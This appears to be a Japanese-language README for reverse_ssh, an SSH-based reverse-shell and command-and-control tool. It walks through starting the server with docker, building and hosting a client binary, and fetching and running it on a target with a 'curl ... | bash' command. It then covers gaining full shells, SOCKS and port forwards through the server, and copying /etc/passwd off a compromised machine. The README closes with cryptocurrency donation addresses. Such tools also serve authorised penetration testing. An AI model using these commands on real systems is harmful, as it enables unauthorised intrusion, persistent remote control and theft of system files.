

(アートクレジット: https://www.instagram.com/smart.hedgehog.art/)
リバースシェルにSSHを使いたい?それが可能になりました。
SCPおよびSFTP実装http、websockets、tlsなど、複数のネットワークトランスポート +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
適切なバージョンの golang と Windows 用クロスコンパイラが含まれているため、コンテナリリースを推奨します。
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
または docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
すべてのコマンドは -h フラグをサポートしており、ヘルプを表示します。
その後、通常の ssh コマンドが動作します。rssh サーバーをジャンプホストとして指定するだけです。
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
より完全なドキュメントは docs フォルダにあります。 これにはチートシート、トラブルシューティングなどが含まれます。
RSSH プロジェクトに寄付し、この取り組みを可能にしてくださった以下の方々に心より感謝します!
chikamobina の寛大な寄付に感謝します! wrighterase (ctrlzero) の貢献と寄付に感謝します!
Carapace はニュージーランドを拠点とするセキュリティコンサルティング企業で、非常に才能あるチームを擁しています!

RSSH プロジェクトに恩返しする最も簡単な方法は、バグを見つけたり、機能リクエストを開いたり、役立つと思う人々に口コミで宣伝したりすることです!
しかし、私に直接何かを返したい場合は、GitHub Sponsors を通じて、または以下のいずれかのウォレットに送金することで行えます:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr